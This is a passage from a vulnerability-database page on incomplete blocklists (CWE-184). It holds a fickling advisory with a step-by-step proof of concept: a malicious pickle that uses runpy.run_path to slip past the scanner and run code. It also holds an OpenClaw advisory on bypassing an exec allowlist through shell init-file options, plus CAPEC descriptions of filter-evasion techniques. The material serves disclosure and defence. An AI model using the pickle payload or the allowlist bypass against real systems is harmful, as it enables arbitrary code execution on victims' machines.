via pip)\n\nStep 1: Create malicious pickle\n\nimport pickle\nimport runpy\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (runpy.run_path, (\"/tmp/malicious_script.py\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n    pickle.dump(MaliciousPayload(), f)\n\nStep 2: Create the malicious script that will be executed\n\necho \u0027print(\"RCE ACHIEVED\"); open(\"/tmp/pwned\",\"w\").write(\"compromised\")\u0027 \u003e /tmp/malicious_script.py\n\nStep 3: Analyze with fickling\n\nfickling --check-safety malicious.pkl\n\nExpected output (if properly detected):\nSeverity: OVERTLY_MALICIOUS\n\nActual output (bypass confirmed):\n{\n    \"severity\": \"SUSPICIOUS\",\n    \"analysis\": \"Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\",\n    \"detailed_results\": {\n        \"AnalysisResult\": {\n            \"UnusedVariables\": [\"_var0\", \"run_path(...)\"]\n        }\n    }\n}\n\nStep 4: Prove RCE by loading the pickle\n\nimport pickle\npickle.load(open(\"malicious.pkl\", \"rb\"))\n# Check: ls /tmp/pwned  \u003c-- file exists, proving code execution\n\nPickle disassembly (evidence):\n\n    0: \\x80 PROTO      4\n    2: \\x95 FRAME      92\n   11: \\x8c SHORT_BINUNICODE \u0027runpy\u0027\n   18: \\x94 MEMOIZE    (as 0)\n   19: \\x8c SHORT_BINUNICODE \u0027run_path\u0027\n   29: \\x94 MEMOIZE    (as 1)\n   30: \\x93 STACK_GLOBAL\n   31: \\x94 MEMOIZE    (as 2)\n   32: \\x8c SHORT_BINUNICODE \u0027/tmp/malicious_script.py\u0027\n   ...\n  100: R    REDUCE\n  101: \\x94 MEMOIZE    (as 5)\n  102: .    STOP\n  \n### Impact\n\nVulnerability Type:\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n\nAttack scenario:\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim\u0027s pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nSeverity: HIGH\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with `runpy`",
  "id": "GHSA-wfq2-52f7-7qvj",
  "modified": "2026-01-11T14:54:44Z",
  "published": "2026-01-09T20:52:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wfq2-52f7-7qvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling has a bypass via runpy.run_path() and runpy.run_module()"
}

GHSA-WPC6-37G7-8Q4W

Vulnerability from github – Published: 2026-04-07 18:14 – Updated: 2026-05-06 21:22

Summary

OpenClaw: Shell init-file options could satisfy exec allowlist script matching

Details

Summary

Before OpenClaw 2026.3.31, exec allowlist matching could treat shell init-file wrapper invocations as if the approved script itself were being executed. Shell options such as --rcfile, --init-file, and --startup-file could therefore inherit allowlist trust from a matched script path even though the shell loaded attacker-chosen initialization first.

Impact

This issue only applied when exec allowlist or allow-always behavior was enabled and the attacker could steer a shell-wrapper command shape that used init-file options. The result was a narrower allowlist bypass, not generic arbitrary command execution from an untrusted boundary.

Affected Packages / Versions

Package: openclaw (npm)
Affected versions: < 2026.3.31
Patched versions: >= 2026.3.31
Latest published npm version: 2026.4.1

Fix Commit(s)

0c8375424620e12777ef24c162eedc7e9fcfd7e3 — reject shell init-file script matches

Release Process Note

The fix shipped in OpenClaw 2026.3.31 on March 31, 2026. The current published npm release 2026.4.1 from April 1, 2026 also contains the fix.

Thanks @cyjhhh for reporting.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:14:35Z",
    "nvd_published_at": "2026-04-28T19:37:42Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore OpenClaw 2026.3.31, exec allowlist matching could treat shell init-file wrapper invocations as if the approved script itself were being executed. Shell options such as `--rcfile`, `--init-file`, and `--startup-file` could therefore inherit allowlist trust from a matched script path even though the shell loaded attacker-chosen initialization first.\n\n## Impact\n\nThis issue only applied when exec allowlist or allow-always behavior was enabled and the attacker could steer a shell-wrapper command shape that used init-file options. The result was a narrower allowlist bypass, not generic arbitrary command execution from an untrusted boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.3.31`\n- Patched versions: `\u003e= 2026.3.31`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `0c8375424620e12777ef24c162eedc7e9fcfd7e3` \u2014 reject shell init-file script matches\n\n## Release Process Note\n\nThe fix shipped in OpenClaw `2026.3.31` on March 31, 2026. The current published npm release `2026.4.1` from April 1, 2026 also contains the fix.\n\nThanks @cyjhhh for reporting.",
  "id": "GHSA-wpc6-37g7-8q4w",
  "modified": "2026-05-06T21:22:43Z",
  "published": "2026-04-07T18:14:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-wpc6-37g7-8q4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41392"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/0c8375424620e12777ef24c162eedc7e9fcfd7e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-exec-allowlist-bypass-via-shell-init-file-options"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Shell init-file options could satisfy exec allowlist script matching"
}

Mitigation

Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

← Back to the CWE list